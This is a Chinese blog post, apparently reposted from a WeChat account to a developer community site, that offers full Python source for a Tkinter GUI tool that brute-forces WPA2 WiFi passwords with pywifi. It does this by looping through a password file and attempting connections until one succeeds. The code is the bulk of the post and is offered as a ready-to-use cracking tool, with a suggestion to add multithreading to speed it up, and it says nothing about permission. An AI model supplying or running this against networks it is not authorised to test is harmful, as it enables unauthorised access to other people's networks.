首页
学习
活动
专区
圈层
工具
发布
社区首页 >专栏 >【程序源代码】暴力破解WiFi密码

【程序源代码】暴力破解WiFi密码

作者头像
程序源代码
发布2022-09-06 15:13:38
发布2022-09-06 15:13:38
10.3K0
举报
文章被收录于专栏:程序源代码程序源代码

“ 关键字:  “暴力破解WiFi密码 源码

01

————

【总体介绍】

大家好!

今天开发一套“暴力破解WiFi密码 源码”,主要是用于暴力破解WiFi密码。这个源码是基于python语言编辑执行的。相对来说比较简单,如果有python开发基本的同学来说,其实就更容易了。

本文学习了 Python 暴力破解 WIFI 密码的方法、以及 Python GUI 图形化编程的基础使用。所演示的代码的不足在于均没有使用多线程进行 WIFI 连接测试,实际上因为 WIFI 连接测试需要一定的耗时(3-5秒),故使用多线程将能减少暴力破解过程的等待时间。这样即省钱又省力,何乐而不为呢。下面就开始今天的正题。

02

————

【源码使用说明】

一、软件开发环境和语言

首选介绍下开发中主要使用的语言:python

已经生成了可在微信系统上可运行exe,一键部署应用,非常的方便使用。

03

————

【实现效果】

04

————

【代码获取】

这个里面的代码下载就可以了

from tkinter import *from pywifi import constimport pywifiimport time# 主要步骤:# 1、获取第一个无线网卡# 2、断开所有的wifi# 3、读取密码本# 4、设置睡眠时间def wificonnect(str, wifiname): # 窗口无线对象 wifi = pywifi.PyWiFi() # 抓取第一个无线网卡 ifaces = wifi.interfaces()[0] # 断开所有的wifi ifaces.disconnect() time.sleep(1) if ifaces.status() == const.IFACE_DISCONNECTED: # 创建wifi连接文件 profile = pywifi.Profile() profile.ssid = wifiname # wifi的加密算法 profile.akm.append(const.AKM_TYPE_WPA2PSK) # wifi的密码 profile.key = str # 网卡的开发 profile.auth = const.AUTH_ALG_OPEN # 加密单元,这里需要写点加密单元否则无法连接 profile.cipher = const.CIPHER_TYPE_CCMP # 删除所有的wifi文件 ifaces.remove_all_network_profiles() # 设置新的连接文件 tep_profile = ifaces.add_network_profile(profile) # 连接 ifaces.connect(tep_profile) time.sleep(3) if ifaces.status() == const.IFACE_CONNECTED: return True else: return Falsedef readPwd(): # 获取wiif名称 wifiname = entry.get().strip() path = r'./pwd.txt' file = open(path, 'r') while True: try: # 读取 mystr = file.readline().strip() # 测试连接 bool = wificonnect(mystr, wifiname) if bool: text.insert(END, '密码正确' + mystr) text.see(END) text.update() file.close() break else: text.insert(END, '密码错误' + mystr) text.see(END) text.update() except: continue# 创建窗口root = Tk()root.title('wifi破解')root.geometry('500x400')# 标签label = Label(root, text='输入要破解的WIFI名称:')# 定位label.grid()# 输入控件entry = Entry(root, font=('微软雅黑', 14))entry.grid(row=0, column=1)# 列表控件text = Listbox(root, font=('微软雅黑', 14), width=40, height=10)text.grid(row=1, columnspan=2)# 按钮button = Button(root, text='开始破解', width=20, height=2, command=readPwd)button.grid(row=2, columnspan=2)# 显示窗口root.mainloop()

注:源码和文件包已经放到了百度网盘中,可无限下载。 (可看到下载链接)

————

05

————

【视频】

大家关注视频号

————

【联系方式】

公众号ID:  itcode

【公众号二维码, 扫一扫吧】

微信ID:  itcoder

【微信二维码, 扫一扫吧】

【写作说明】以上文章属于此公众号原创所有,如需转载请注明出处。【免责申明】本公众号不是广告商,也没有为其他三方网站或者个人做广告宣传。文章发布源代码和文章均来源于各类开源网站社区或者是小编在项目中、学习中整理的一些实例项目。主要目的是将开源代码分享给喜欢编程、有梦想的程序员,希望能帮助到你们与他们共同成长。其中用户产生的一些自愿下载、打赏或者付费行为,原则与平台没有直接关系。如果涉及开源程序侵犯到原作者相关权益,可联系小编进行相关处理。

【投稿邮箱】315997972@qq.com

—————————————

目前已有1000000+优秀的程序员加入我们

———————

————————

【你的每一份打赏就是对我最真诚的鼓励】

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2022-09-03,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 程序源代码 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档